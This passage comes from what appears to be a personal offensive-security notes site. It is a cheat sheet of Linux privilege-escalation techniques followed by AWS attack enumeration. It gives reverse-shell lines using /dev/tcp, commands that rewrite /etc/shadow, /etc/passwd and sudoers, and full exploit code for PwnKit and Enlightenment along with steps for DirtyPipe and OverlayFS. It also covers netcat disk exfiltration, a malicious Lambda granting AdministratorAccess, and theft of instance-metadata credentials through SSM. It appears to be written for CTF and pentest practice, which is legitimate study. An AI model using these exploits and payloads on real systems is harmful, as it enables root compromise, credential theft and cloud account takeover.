is present on a writable share, we can create an executable with SUID bit set and run it on the target system ## ------------------| Check if no_root_squash is present? cat /etc/exports | grep no_root_squash ## ------------------| List mounts and mount it to our local machine showmount -e sudo mkdir -p /mnt/new sudo mount -t nfs ://mnt/new ### Create a SUID binary and place it. then execuite it via attackers machine. * If you have **write** permission to `**/etc/sudoers**` file? Copy ### Get current user using whoami command, then enter the following line username ALL=(ALL) NOPASSWD: ALL ### Then run sudo su - * If you have **write** permission to `**/etc/shadow**` file? Copy ## ------------------| Create password openssl passwd -6 -salt h4rithd h4rithd123 ### -1 --> MD5 ### -5 --> SHA256 ### -6 --> SHA512 ### also you can use it with out salt flag ### Replace the password in /etc/shadow (h4rithd123) $6$h4rithd$SjZ3XkShHfK9x1Rpn9RhhDH030H4cy.igvwhXGoAb93wEUM9AGR5fjR6ms/oqCqhkopN9Wj/ORX/SlUoaypYI0 sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1PASSWORD\3/g' /etc/shadow ## ------------------| one line : h4rithd123 sed -i -E 's/^([^:]+:)([^:]+)(..+)$/\1$6$\/dij\/aLbpn4NJrUW$iNXC\/blQ8FP6.kgZmpazax0RNiKBRRVwTuH5e2UFaYUQo8XOKb9aQU8hM7.e2I3omzD4Mp4XRHHzk0B2txbBW\/\3/g' /etc/shadow * If you have **write** permission to `**/etc/passwd**` ? Copy ## ------------------| Create password openssl passwd -1 -salt h4rithd Password123 # ->> $1$h4rithd$wXIyqYpzYefGzryBsTFSU/ ## ------------------| Edit the passwd file echo 'h4rithd:$1$h4rithd$wXIyqYpzYefGzryBsTFSU/:0:0:root:/root:/bin/bash' >> /etc/passwd ## ------------------| Login to the user h4rithd su h4rithd ## Password123 * Can run `**apache2**` as root user? Copy ## ------------------| Read the shadow file sudo apache2 -f /etc/shadow ## then crack it * If you are in \*\*`video` \*\* group Copy ## The video group has access to view the screen output. ## Use w command and find is there any tty1 session (physically logged) cat /dev/fb0 > /tmp/screen.raw ## Copy that file to host machine. cat /sys/class/graphics/fb0/virtual_size ## Use this as resolution. ## Open photo using gimp as "RAW image data" and set color mode as RGB565 * If you are in `**docker**` group Copy ## ------------------| List docker images docker images | awk '{print $1}' | sed '1d' ## ------------------| Use one of image and get root docker run -v /:/mnt --rm -it chroot /mnt sh * If you have `**apt update**` **on** `**/etc/crontab**` Copy ## ------------------| Create pre-invoke script echo '/bin/bash -c "/bin/bash -i >& /dev/tcp//4545 0>&1"' | base64 -w0 echo 'APT::Update::Pre-Invoke {"echo L2Jpbi9 | base64 -d | bash"}' > /etc/apt/apt.conf.d/000shell * If `sudo -l` only for `apt-get update` or `apt-get upgrade`? Copy ## Watch this video https://youtube.com/watch?v=EXuEDHFjS9E&t=2070 * If you see `**jdwp**` run as privilege user ?? Copy ## ------------------| First you need to port forword ssh -L 8000:127.0.0.1:8000 user@ip ## ------------------| Using jdwp-shellifier [Best Methord] git clone https://github.com/IOActive/jdwp-shellifier cd jdwp-shellifier ### Create reverse shell on /tmp/shell.sh (Victem's machine) python2 jdwp-shellifier.py -t 127.0.0.1 --break-on "java.lang.String.indexOf" --cmd "/tmp/shell.sh" ## ------------------| Attached remote port [Connection is not persistence] jdb -attach 8000 > classpath ### List class path > classes ### List classes > threads ### List all threads > stop in java.lang.String.indexOf(int) ### Set brakepoint print new java.lang.Runtime().exec("/bin/touch /tmp/hello.txt") * If you are in `**disk**` **group** ? Copy ## ------------------| Check if you are in disk group. groups | grep -oP disk ## ------------------| Check if you have R/W permission on sds. ls -la /dev/sd* ## ------------------| Check which one belongs to me. mount | grep '^\/dev' ## ------------------| Try to read it strings /dev/sda1 | grep root.txt debugfs /dev/sda1 ## then use ls commands. ## ------------------| If you do not have access; Check if it link to any other ls -al /dev/mapper/Kotarak--vg-root ##Suppose I get an "/dev/dm-0" in response. ## ------------------| Send file using netcat nc -lvnp 8002 > disk.img.gz ## on attacker's machine dd if=/dev/dm-0 | gzip -1 - | nc 8002 ## ------------------| Mout the image file to our machine gunzip disk.img.gz mount disk.img /mnt * [Can run `fail2ban` with root prv](https://systemweakness.com/privilege-escalation-with-fail2ban-nopasswd-d3a6ee69db49) ? Copy ## ------------------| Check which file we have write permission on find /etc -writable -ls 2>/dev/null ls -al /etc/fail2ban/action.d/ ## ------------------| Expolit ### Replace "actionban = shell" on /etc/fail2ban/action.d/iptables-multiport.conf sed 's/actionban =.*/actionban = chmod u+s \/bin\/bash/g' /etc/fail2ban/action.d/iptables-multiport.conf > config.conf rm -f /etc/fail2ban/action.d/iptables-multiport.conf mv config.conf /etc/fail2ban/action.d/iptables-multiport.conf sudo /etc/init.d/fail2ban restart hydra ssh -l root -P /usr/share/wordlists/rockyou.txt ls -l /bin/bash bash -p * Can you run gdb (debug)? Copy ## ------------------| Find process which run under root prv ps -aux | grep root | grep "python" ## ------------------| Attach the gdb instance to that specific process ID gdb -p ## ------------------| Hook/Call the process call (void)system("chmod u+s /bin/bash") quite bash -p * If you can read `.Xauthority` file? Copy ## ------------------| Check if it contain MIT-magic-cookie-1 xxd .Xauthority ## ------------------| Check what display is currently connected (:0) w ## ------------------| Verify Cookie XAUTHORITY=/tmp/.Xauthority xdpyinfo -display :0 XAUTHORITY=/tmp/.Xauthority xwininfo -root -tree -display :0 ## ------------------| Take Screenshot XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/capture.xwd ## ------------------| Convert sudo apt install imagemagick -y convert capture.xwd capture.png * If you can run `dstat` tool as sudo Copy ## ------------------| Find configuration settings find / -type d -name dstat 2>/dev/null ## ------------------| Assume the location is "/usr/local/share/dstat" echo "import os;os.system('sudo chmod +s /usr/bin/bash')" > /usr/local/share/dstat/dstat_h4rithd.py dstat --list | grep h4rithd sudo -u root /usr/bin/dstat --h4rithd bash -p * If we can run any `doas` Copy ## ------------------| Find configuration settings find / -type f -name doas.conf 2>/dev/null ## ------------------| run as another user doas -u root /usr/bin/bash ### [](#id-06.5-sudo-vulnerability) 06.5 SUDO Vulnerability * [CVE-2019-14287](https://www.exploit-db.com/exploits/47502) Copy ## Sudo 1.8.27 - Security Bypass (CVE: 2019-14287) sudo -u#-1 /bin/bash * [CVE-2021-3156](https://github.com/worawit/CVE-2021-3156) Copy ## Sudo Baron Samedit Exploit | CVE-2021-3156 ## versions 1.7.7 through 1.7.10p9, 1.8.2 through 1.8.31p2, and 1.9.0 through 1.9.5p1 are affected. sudoedit -s '\' `perl -e 'print "A" x 65536'` ## If you receive a usage or error message, sudo is not vulnerable. If the result is a Segmentation fault, sudo is vulnerable * [CVE-2023-22809](https://github.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc) Copy ## ------------------| Affected sudo versions: 1.8.0 to 1.9.12p1 sudo -V ## ------------------| Exploit export EDITOR="vim -- /etc/passwd" sudoedit /etc/motd ### change any user group to 0 ### [](#id-06.6-ansible) 06.6 Ansible Copy ## ------------------| Reverse Shell - hosts: localhost tasks: - name: rev shell: bash -c 'bash -i >& /dev/tcp//4545 0>&1' ### [](#id-06.7-pwnkit-cve-2021-4034) 06.7 PwnKit \[[CVE-2021-4034](https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034)\ \] Copy ## ------------------| Affected versions: 0.95 through 0.118 pkexec --version ## ------------------| Expolit #include #include #include char *shell = "#include \n" "#include \n" "#include \n\n" "void gconv() {}\n" "void gconv_init() {\n" " setuid(0); setgid(0);\n" " seteuid(0); setegid(0);\n" " system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n" " exit(0);\n" "}"; int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.c", "w"); fprintf(fp, "%s", shell); fclose(fp); system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC"); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env); } ### gcc -o exploit exploit.c ### [](#id-06.8-overlayfs-2021-cve-2021-3493) 06.8 OverlayFS 2021 \[[CVE-2021-3493](https://github.com/briskets/CVE-2021-3493)\ \] Copy ## ------------------| Affected Versions, Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 19.04 Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM ## ------------------| Expolit ssh ## Or you can download it from here: https://github.com/h4rithd/PrecompiledBinaries/tree/main/CVE-2021-3493 gcc exploit.c -o exploit ./exploit ### [](#id-06.9-dirtypipe-cve-2022-0847) 06.9 DirtyPipe \[[CVE-2022-0847](https://dirtypipe.cm4all.com)\ \] Copy ## ------------------| Abstract ## Vulnerability in the Linux kernel since 5.8 which allows overwriting data in arbitrary read-only files ## The vulnerability was fixed in Linux 5.16.11, 5.15.25 and 5.10.102. ## Precompiled --> https://github.com/h4rithd/PrecompiledBinaries/tree/main/DirtyPipe ## ------------------| Add root user wget https://raw.githubusercontent.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit/main/exploit.c gcc -o dpipe exploit.c ./dpipe su root # password : aaron ## ------------------| Change SUID binary wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/main/exploit-2.c gcc -o dpipe exploit-2.c ## find SUID Binary find / -perm -4000 -ls 2>/dev/null ## Execute it as /usr/bin/pkexec ./dpipe /usr/bin/pkexec ### [](#id-06.10-enlightenment-cve-2022-37706) 06.10 Enlightenment \[CVE-2022-37706\] Copy ## ------------------| Expo file=$(find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1) if [[ -z ${file} ]] then echo "[-] Couldn't find the vulnerable SUID file..." echo "[*] Enlightenment should be installed on your system." exit 1 fi echo "[+] Vulnerable SUID binary found!" echo "[+] Trying to pop a root shell!" mkdir -p /tmp/net mkdir -p "/dev/../tmp/;/tmp/exploit" echo "/bin/sh" > /tmp/exploit chmod a+x /tmp/exploit echo "[+] Enjoy the root shell :)" ${file} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), "/dev/../tmp/;/tmp/exploit" /tmp///net ### [](#id-06.11-overlayfs-2023-cve-2023-0386) 06.11 OverlayFS 2023 \[[CVE-2023-0386](https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/#how-the-cve-2023-0386-vulnerability-works)\ \] Copy ## ------------------| Affected Versions, if kernel version is lower than 6.2 uname -r ## ------------------| Expolits git clone https://github.com/xkaneiki/CVE-2023-0386.git ## or you can download precompiled binary from here: https://github.com/h4rithd/PrecompiledBinaries/edit/main/CVE-2023-0386 sudo apt-get install libfuse-dev libcap-dev cd CVE-2023-0386 make all ### Start two terminals and enter in the first terminal ./fuse ./ovlcap/lower ./gc ### In the second terminal enter ./exp ### [](#id-06.12-gameover-lay-cve-2023-2640-and-cve-2023-32629) 06.12 GameOver(lay) \[[CVE-2023-2640 & CVE-2023-32629](https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/)\ \] Copy ## ------------------| My one unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash -i\")'" ## ------------------| Original poc payload unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")' ## ------------------| Adjusted poc payload by twitter user; likely false positive unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; u/python3 -c 'import os;os.setuid(0);os.system(\"id\")'" ### [](#id-06.13-other) 06.13 Other Copy ## USBCreator D-Bus Privilege Escalation in Ubuntu Desktop gdbus call -y -d com.ubuntu.USBCreator -o /com/ubuntu/USBCreator -m com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /dev/shm/rootkey true [](#id-07.-kernel-privesc) 07\. Kernel Privesc --------------------------------------------------- 1. [**Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation**](https://www.exploit-db.com/exploits/44298) 2. [**Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)**](https://www.exploit-db.com/exploits/37292) \*\*\*\* * * * Last updated 1 month ago Was this helpful? 🐧 ![Page cover image](https://docs.h4rithd.com/~gitbook/image?url=https%3A%2F%2F50507886-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FnExgHyf5c0iANwFPNNH2%252Fuploads%252F51k8JZxmY0gzewNuMCQa%252FPvEs-Linux.jpg%3Falt%3Dmedia%26token%3Df15c21f2-56a9-4ead-8269-1d859b789960&width=1248&dpr=4&quality=100&sign=85c48cd&sv=2) --- # AWS | h4rithd.com | Notes * * * [](#id-00.-basic) 00\. Basic --------------------------------- * Configure AWS creds Copy ## ------------------| Configure aws configure # AWS Access Key ID [None]: AKIAIOSFODNN7EXAMPLE # AWS Secret Access Key [None]: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY # Default region name [None]: us-west-2 # Default output format [None]: ## ------------------| Export as env export AWS_PROFILE=ProfileName export AWS_REGION= export AWS_ACCESS_KEY_ID= export AWS_SECRET_ACCESS_KEY= export AWS_SESSION_TOKEN= ## ------------------| Use as file aws configure import --csv file://credentials.csv ## ------------------| Set as .aws ### ~/.aws/credentials [] aws_access_key_id = aws_secret_access_key = aws_session_token = ### ~/.aws/config [profile ] region = ## ------------------| List details aws sts get-caller-identity * Credentials Copy ## ------------------| If the AccessKeyId is starting from AKI <-- Long term credentials ASI <-- short term credentials * [Amazon Resource Names (ARNs)](https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html) Copy ## ------------------| Format arn:partition:service:region:account-id:resource-id arn:partition:service:region:account-id:resource-type/resource-id arn:partition:service:region:account-id:resource-type:resource-id ^ 12 digit number ## ------------------| [partition] aws AWS Regions aws-cn China Regions aws-us-gov AWS GovCloud (US) Regions ## ------------------| [service] s2,lambda,ec2,iam ## ------------------| [region] us-east-1,.. ## if it is none it's mean it's globle arn:partition:service::account-id:resource-id * [Attack path I](https://youtu.be/B_-8TT23a6E) Copy ## ------------------| List down all RDS databases aws rds describe-db-instances --output=table --color on --filter --query DBInstances[].[DBinstanceIdentifier,MasterUsername,DBSubnetGroup.VpcID,Endpoint.Address] ## ------------------| List down all subnets aws rds describe-db-instances --output=table --color on --filter --query DBInstances[].DBSubnetGroup.Subnets[].SubnetIdentifier ## ------------------| Examine selected database subnets aws rds describe-db-instances --output=table --color on --filter "Name=db-instance-id,Values=" --query DBInstances[].DBSubnetGroup.Subnets[].SubnetIdentifier ## ------------------| List down all NACLs aws ec2 describe-network-acls --output=table --color on --filter --query NetworkAcls[].Entries ## |0.0.0.0/0| True | -1 | allow | 100 | << Open for all ## ------------------| For selected subnets; What traffic do network access control lists (NACLs) allow? aws ec2 describe-network-acls --output=table --color on --filter "Name=association.subnet-id,Values=subnet-0a7f04b97a6ed9b11" --query NetworkAcls[].Entries ## ------------------| What traffic do DB security groups allow? aws ec2 describe-security-groups --output=table --color onaw aws ec2 describe-security-groups --output=table --color on --filter "Name=groupid,Values=sg-0a7f04b97a6ed9b11" | less ## ------------------| Find VPC with access to database aws ec2 describe-vpcs --output=table --color on aws ec2 describe-vpcs --output=table --color on --filter "Name=cidrBlock,Values=172.31.0.0/16" aws ec2 describe-vpcs --output=table --color on --filter "Name=cidrBlock,Values=172.31.0.0/16" --query Vpcs[].VpcId ## ------------------| VPC security group [port 3306 egress] aws ec2 describe-security-groups --output=table --color on --filter "Name=ip-permission.to-port,Values=3306" aws ec2 describe-security-groups --output=table --color on --filter "Name=egress.ip-permission.cidr,Values='0.0.0.0/0'" --filter "Name=ip-permission.to-port,Values=22" --query 'SecurityGroups[].GroupId' ## ------------------| Check Lambda functions aws lambda list-functions --output=table --color on aws lambda list-functions --output=table --color on --query Functions[?VpcConfig.SecurityGroupIds==[`sg-07d51f986796059f9`]].FunctionName ## ------------------| Query to download Lambda source code aws lambda get-function --function-name --query Code.Location ## ------------------| List all ec2s which has public IP (Look for instance that can exfi) l aws ec2 describe-instances --output text --query Reservations[].Instances[].NetworkInterfaces[].Association.[PublicIp,PublicDnsName] ## ------------------| Find No outbound restrictions security groups aws ec2 describe-security-groups --color on --output table --filter "Name=egress.ip-permission.cidr,Values='0.0.0.0/0'" --query SecurityGroups[].GroupId aws ec2 describe-security-groups --color on --output table --filter "Name=egress.ip-permission.cidr,Values='0.0.0.0/0'" --filter "Name=vpc-id,Values=" --query SecurityGroups[].GroupId [](#id-01.-iam-identity-and-access-management) 01\. IAM (Identity and Access Management) --------------------------------------------------------------------------------------------- ### [](#id-01.0-users) 01.0 Users Copy ## ------------------| List all users aws iam list-users aws iam list-users --output table --query Users[].[UserName,Arn,UserId] ## ------------------| Enumarate groups for users aws iam list-groups-for-user --user-name for i in $(aws iam list-users --query Users[].UserName --output text);do aws iam list-groups-for-user --user-name $i;done ## ------------------| List all inline policies aws iam list-user-policies --user-name ## ------------------| Lists all managed policies aws iam list-attached-user-policies --user-name ## ------------------| Enumarate user's signing certificates aws iam list-signing-certificates --user-name for i in $(aws iam list-users --query Users[].UserName --output text);do echo "[$i]";aws iam list-signing-certificates --user-name $i --output json;done ## ------------------| Check for public ssh keys for user. aws iam get-ssh-public-key --user-name --encoding --ssh-public-key-id ## ------------------| Check for Multi Factor Auth for user aws iam list-virtual-mfa-devices aws iam list-mfa-devices --user-name for i in $(aws iam list-users --query Users[].UserName --output text);do echo "[$i]";aws iam list-mfa-devices --user-name $i --output json;done ## ------------------| Check if the user have console login profile aws iam get-login-profile --user-name for i in $(aws iam list-users --query Users[].UserName --output text);do echo "[$i]";aws iam get-login-profile --user-name $i;done ## ------------------| Create another access key aws iam create-access-key --user-name ### [](#id-01.2-groups) 01.2 Groups Copy ## ------------------| List all groups aws iam list-groups --output json ## ------------------| List all inline policies aws iam list-group-policies --group-name ## ------------------| Lists all managed policies aws iam list-attached-group-policies --group-name ### [](#id-01.3-roles) 01.3 Roles Copy ## ------------------| List all roles aws iam list-roles --output json ## ------------------| List role information aws iam get-role --role-name --output json ## ------------------| Lists all attached policies ## arn:aws:sts:::...//... aws iam list-attached-role-policies --role-name ## ------------------| List all inline policies. aws iam list-role-policies --role-name ## ------------------| Assuming the role aws sts assume-role --role-arn arn:aws:iam::role/ --role-session-name AnyName ### [](#id-01.4-policies) 01.4 Policies Copy ## ------------------| List all policies aws iam list-policies --output json aws iam list-policies --output json --scope Local aws iam list-policies --output json | grep Admin aws iam list-policies --output json --query Policies[].[PolicyName,PolicyId,Arn,DefaultVersionId] ## ------------------| List all inline policies aws iam list-user-policies --user-name for i in $(aws iam list-users --query Users[].UserName --output text);do aws iam list-user-policies --user-name $i;done ## ------------------| List all manage policies aws iam list-attached-user-policies --user-name for i in $(aws iam list-users --query Users[].UserName --output text);do echo -n "[$i]\t";aws iam list-attached-user-policies --user-name user22 --output text | awk '{print $2"\t"$3}';done ## ------------------| Check policy permissions / Find the DefaultVersionId aws iam get-policy --policy-arn :policy/ ## ------------------| Read the policy document aws iam get-policy-version --output json --policy-arn :policy/ --version-id ## ------------------| List details about inline policy document aws iam get-user-policy --user-name --policy-name aws iam get-group-policy --group-name --policy-name aws iam get-role-policy --role-name --policy-name ## ------------------| [If user has PutUserPolicy] Add an inline policy document that is embedded in the specified IAM user aws iam put-user-policy --user-name --policy-name --policy-document file://Policy.json ## ------------------| Policy.json { "Version": "2022-07-14", "Statement": [\ {\ "Effect": "Allow",\ "Action": [\ "*"\ ],\ "Resource": [\ "*"\ ]\ }\ ] } ### [](#id-01.5-privilege-escalation) 01.5 [Privilege Escalation](https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation) Required Permission PrivilageEsc Methods iam:AttachUserPolicy Attaching a policy to a user iam:AttachGroupPolicy Attaching a policy to a group iam:AttachRolePolicy Attaching a policy to a role iam:CreateAccessKey Creating a new user access key iam:CreateLoginProfile Creating a new login profile iam:UpdateLoginProfile Updating an existing login profile iam:PassRole ec2:RunInstances Creating an EC2 instance with an existing instance profile iam:PutUserPolicy Creating/updating an inline policy for a user iam:PutGroupPolicy Creating/updating an inline policy for a group iam:PutRolePolicy Creating/updating an inline policy for a role iam:AddUserToGroup Adding a user to a group iam:UpdateAssumeRolePolicy sts:AssumeRole Updating the AssumeRolePolicyDocument of a role iam:PassRole lambda:CreateFunction lambda:InvokeFunction Passing a role to a new Lambda function, then invoking it lambda:UpdateFunctionCode Updating the code of an existing Lambda function #### [](#id-01.5.1-overly-permissive-permission) 01.5.1 Overly Permissive Permission * iam:AttachUserPolicy Copy ## ------------------| Check if you have "Action": "iam:AttachUserPolicy" aws iam get-policy-version --policy-arn :policy/ --version-id ## ------------------| Find ARN for AdministratorAccess policy aws iam list-policies | grep "AdministratorAccess" ## ------------------| Attach policy for a user aws iam attach-user-policy --user-name --policy-arn arn:aws:iam::aws:policy/AdministratorAccess ## ------------------| Checking attached policies again aws iam list-attached-user-policies --user-name * iam:CreateLoginProfile Copy ## ------------------| Check if you have "Action": "iam:CreateLoginProfile" aws iam get-user-policy --user-name --policy-name ## ------------------| List all users aws iam list-users --output table --query Users[].[UserName,Arn,UserId] ## ------------------| View existing policies aws iam list-attached-user-policies --user-name ## ------------------| Creating login profile aws iam create-login-profile --user-name --password Passw0rd@123 --no-password-reset-required * sts:AssumeRole Copy ## ------------------| Check if you have sts:AssumeRole aws sts assume-role --role-arn --role-session-name --profile ### extrack the token to .aws ## ------------------| List all ebs snapshots aws ec2 describe-snapshots --owner-ids --region --profile ## ------------------| Exploit aws ec2 modify-snapshot-attribute --snapshot-id --attribute CreateVoulmePermission --operation-type add --user-ids --region --profile aws ec2 create-volume --snapshot-id --availability-zone --region --profile aws ec2 attach-voumne --device /dev/xvhd --instance-id --volume-id --region --profile * iam:PassRole with lambda:CreateFunction Copy ## ------------------| Check if we have rights to go ahead aws iam list-user-policies --user-name aws iam get-user-policy --user-name --policy-name ## ------------------| Finding lambda role details aws iam list-roles --output json aws iam list-roles --output json --query "Roles[].[RoleName,AssumeRolePolicyDocument.Statement[].Principal.Service]" | grep -B2 "lambda.amazonaws.com" ## ------------------| Check policy details for lamda role for iam:AttachUserPolicy aws iam get-role --role-name --output json aws iam list-role-policies --role-name --output json aws iam get-role-policy --role-name --policy-name --output json ## ------------------| Creating lambda function (evil.py) import boto3 def h4rithd(event, context): iam = boto3.client("iam") response = iam.attach_user_policy( UserName="",PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return response ## ------------------| Upload lambda function zip evil-function.zip evil.py aws lambda create-function --function-name evil-function --runtime python3.8 --zip-file fileb://evil-function.zip --handler evil.h4rithd --role aws iam list-user-policies --user-name aws iam get-user-policy --user-name --policy-name ## ------------------| List ec2 roles and get role name aws iam list-roles --output json --query "Roles[].[RoleName,AssumeRolePolicyDocument.Statement[].Principal.Service]" | grep -B2 "ec2.amazonaws.com" ## ------------------| Listing policy details attached to role aws iam list-role-policies --role-name aws iam get-role-policy --role-name --policy-name ## ------------------| Find AMI id aws ec2 describe-images --owners amazon --filters 'Name=name,Values=amzn-ami-hvm-*' 'Name=state,Values=available' --output json | jq -r '.Images | sort_by(.CreationDate) | last(.[]).ImageId' ## ------------------| Find subnet id aws ec2 describe-subnets ## ------------------| List security groups aws ec2 describe-security-groups ## ------------------| List instance profile name aws iam list-instance-profiles ## ------------------| Stat ec2 instance aws ec2 run-instance --subnet-id --image-id --iam-instance-profile Name= --instance-type t2.micro --security-group-ids "" ## ------------------| If you have SSM * aws ssm send-command --document-name "AWS-RunShellScript" --parameters 'commands=["curl -sS http://169.254.169.254/latest/meta-data/iam/security-credentials"]' --targets "Key=instanceids,Values=" --comment "This is comment" ## Copy the CommandID ## ------------------| Check the command's output aws ssm get-command-invocation --command-id "" --instance-id "" #### [](#id-01.5.2-dangerous-policy-combinations) 01.5.2 Dangerous policy combinations Copy ## ------------------| List policies aws iam list-attached-user-policies --user-name aws iam list-user-policies --user-name aws iam get-user-policy --user-name --policy-name [](#id-02.-s3-simple-storage-service) 02\. S3 (Simple Storage Service) --------------------------------------------------------------------------- Copy ## ------------------| List all s3 bucktes aws s3api list-buckets aws s3 ls s3:// ## ------------------| Interact with s3 bucktes aws s3 ls s3:// ## ------------------| Get the information about specified bucket acls aws s3api get-bucket-acl --bucket ## ------------------| Get the information about specified bucket policy aws s3api get-bucket-policy --bucket ## ------------------| Retrieves the Public Access Block configuration for an Amazon S3 bucket aws s3api get-public-access-block --bucket ## ------------------| List of all the objects in specified bucket aws s3api list-objects --bucket ## ------------------| Get the acls information about specified object aws s3api get-object-acl --bucket --key ## ------------------| Copy file to bucket aws s3 cp /tmp/shell.php s3:///shell.php ## ------------------| List all directory aws --endpoint-url http://s3.bucket.htb s3 ls ## ------------------| List what inside the directory aws --endpoint-url http://s3.bucket.htb s3 ls aws --endpoint-url http://s3.bucket.htb s3 ls ## ------------------| Upload file/shell aws --endpoint-url http://s3.bucket.htb s3 cp shell.php s3:///shell.php ## ------------------| Create a bucket and enable versioning aws s3 mb s3://aws- --region --profile aws s3api put-bucket-versioning --bucket --versioning-configuration Status=Enabled --region --profile [](#id-03.-vpc-virtual-private-cloud) 03\. VPC (Virtual Private Cloud) --------------------------------------------------------------------------- Copy ## ------------------| Get details aws ec2 describe-vpcs aws ec2 describe-vpcs --region aws ec2 describe-vpcs --filters "Name=vpc-id,Values=" ## ------------------| List Subnets aws ec2 describe-subnets aws ec2 describe-subnets --filters "Name=vpc-id, Values=" ## ------------------| List Route Table aws ec2 describe-route-tables aws ec2 describe-route-tables --filters "Name=vpc-id, Values=" ## ------------------| List Network ACLs aws ec2 describe-network-acls aws ec2 describe-network-acls --filters "Name=vpc-id, Values=" ## ------------------| List all VPC Peering Connections aws ec2 describe-vpc-peering-connections ## ------------------| List about EC2 Instances In the specified VPC aws ec2 describe-instances --filters “Name=vpc-id, Values=” ## ------------------| List about EC2 Instances In the specified Subnet aws ec2 describe-instances --filters “Name=subnet-id, Values=" [](#id-04.-ec2-elastic-compute-cloud) 04\. EC2 (Elastic Compute Cloud) --------------------------------------------------------------------------- Copy ## ------------------| List all Instances aws ec2 describe-instances aws ec2 describe-instances --region ## ------------------| List the Information about Specified Instance aws ec2 describe-instances --instance-ids ## ------------------| List the Information about UserData Attribute of the specified Instance aws ec2 describe-instance-attribute –attribute userData --instance-id ## ------------------| List the Information about IAM instance profile associations aws ec2 describe-iam-instance-profile-associations ## ------------------| Attach an instance profile with a role to a EC2 instance aws ec2 associate-iam-instance-profile --instance-id --iam-instance-profile Name= ## ------------------| AWS Metadata ### IMDV1 curl http://169.254.169.254/latest/meta-data/ curl -sS http://169.254.169.254/latest/meta-data/iam/security-credentials curl -sS http://169.254.169.254/latest/meta-data/iam/security-credentials/Role curl -sS http://169.254.169.254/latest/meta-data/iam/security-credentials/RoleName\ curl http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance ### IMDV2 export TOKEN=$(curl -sS -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ ## ------------------| AWS Userdata ### IMDV1 curl http://169.254.169.254/latest/user-data/ ### IMDV2 export TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") curl -sS -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/user-data/ [](#id-05.-ebs-elastic-block-store) 05\. EBS (Elastic Block Store) ----------------------------------------------------------------------- Copy ## ------------------| List the Information about EBS volumes aws ec2 describe-volumes ## ------------------| List about all the available EBS snapshots aws ec2 describe-snapshots aws ec2 describe-snapshots --owner-ids self ## ------------------| Creates a snapshot of the specified volume aws ec2 create-snapshot --volume-id --description "Backup Snapshot" ## ------------------| Create a volume from snapshots aws ec2 create-volume --snapshot-id --availability-zone ## ------------------| Attach specified volume to the ec2-instance aws ec2 attach-volume --volume-id --instance-id --device ## ------------------| Mount Volume on EC2 file system sudo mount /mnt/backups [](#id-06.-eks-elastic-kubernetes-service) 06\. EKS (Elastic Kubernetes Service) ------------------------------------------------------------------------------------- Copy ## ------------------| Describe about all the repositories in the container registry aws ecr describe-repositories ## ------------------| Get the information about repository policy aws ecr get-repository-policy --repository-name ## ------------------| Lists of all images in the specified repository aws ecr list-images --repository-name ## ------------------| Describe the information about a container image aws ecr describe-images --repository-name --image-ids imageTag=ImageTag ## ------------------| Lists all ECS Clusters aws ecs list-clusters ## ------------------| Describe information about specified cluster aws ecs describe-clusters --cluster ## ------------------| Lists all services in the specified cluster aws ecs list-services --cluster ## ------------------| Describe the information about a specified service aws ecs describe-services --cluster --services ## ------------------| Lists all tasks in the specified cluster aws ecs list-tasks --cluster ## ------------------| Describe the information about a specified task aws ecs describe-tasks --cluster --tasks ## ------------------| Lists all containers in the specified cluster aws 